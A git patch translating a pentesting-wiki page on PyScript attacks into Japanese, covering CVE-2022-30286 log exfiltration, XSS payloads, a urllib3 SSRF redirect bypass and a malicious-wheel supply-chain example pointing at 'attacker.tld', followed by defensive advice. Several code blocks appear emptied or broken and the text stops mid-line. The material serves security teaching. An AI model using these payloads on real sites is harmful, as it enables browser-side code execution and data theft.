From 1457d9acc133a25c80264dbaf572d8ec5ea2e3e3 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 02:59:45 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/pyscript.md' --- .../python/pyscript.md | 68 +++++++++++++++++-- 1 file changed, 63 insertions(+), 5 deletions(-) diff --git a/src/generic-methodologies-and-resources/python/pyscript.md b/src/generic-methodologies-and-resources/python/pyscript.md index 92c2c478e..fab67bf24 100644 --- a/src/generic-methodologies-and-resources/python/pyscript.md +++ b/src/generic-methodologies-and-resources/python/pyscript.md @@ -23,7 +23,7 @@ with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out `CVE ID: CVE-2022-30286`\ \ -Code: +コード: ```html x = "CyberGuy" if x == "CyberGuy": with @@ -47,7 +47,7 @@ body: JSON.stringify({ content: btoa(console.logs) }), ``` ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) -### クロスサイトスクリプティング (通常) +### クロスサイトスクリプティング (通常) Code: ```python @@ -57,7 +57,7 @@ print("") ``` ![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) -### クロスサイトスクリプティング (Python 難読化) +### クロスサイトスクリプティング (Python 難読化) Code: ```python @@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) Code: ```html -prinht(" +prinht("" -") +"") ``` ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) @@ -156,4 +156,62 @@ print("            & ``` ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) +--- + +## 新しい脆弱性と技術 (2023-2025) + +### 制御されていないリダイレクトによるサーバーサイドリクエストフォージェリ (CVE-2025-50182) + +`urllib3 < 2.5.0` は、PyScriptに付属する**Pyodideランタイム内**で実行されるときに、`redirect`および`retries`パラメータを無視します。攻撃者がターゲットURLに影響を与えることができる場合、開発者が明示的に無効にした場合でも、Pythonコードがクロスドメインリダイレクトに従うように強制することができ、実質的にanti-SSRFロジックを回避します。 +```html + +``` +`urllib3 2.5.0` でパッチが適用されました – PyScript イメージ内のパッケージをアップグレードするか、`packages = ["urllib3>=2.5.0"]` で安全なバージョンを固定してください。詳細については公式の CVE エントリを参照してください。 + +### 任意のパッケージの読み込みとサプライチェーン攻撃 + +PyScript は `packages` リストに任意の URL を許可するため、設定を変更または注入できる悪意のあるアクターは、被害者のブラウザで **完全に任意の Python** を実行することができます: +```html + +packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] + + +``` +*純粋なPythonホイールのみが必要です – WebAssemblyのコンパイルステップは必要ありません。* 設定がユーザー制御されていないことを確認し、HTTPSおよびSRIハッシュを使用して自分のドメインに信頼できるホイールをホストしてください。 + +### 出力のサニタイズの変更 (2023+) + +* `print()` は依然として生のHTMLを注入し、そのためXSSに対して脆弱です(上記の例)。 +* 新しい `display()` ヘルパーは **デフォルトでHTMLをエスケープします** – 生のマークアップは `pyscript.HTML()` でラップする必要があります。 +```python +from pyscript import display, HTML + +display("escaped") # renders literally + +display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted +``` +この動作は2023年に導入され、公式のBuilt-insガイドに文書化されています。信頼できない入力には`display()`を使用し、`print()`を直接呼び出すことは避けてください。 + +--- + +## 防御的ベストプラクティス + +* **パッケージを最新の状態に保つ** – `urllib3 >= 2.5.0`にアップグレードし、サイトに付属するホイールを定期的に再構築します。 +* **パッケージソースを制限する** – PyPI名または同一オリジンのURLのみを参照し、理想的にはサブリソース整合性(SRI)で保護します。 +* **コンテンツセキュリティポリシーを強化する** – インラインJavaScript(`script-src 'self' 'sha256-…'`)を禁止し、注入された`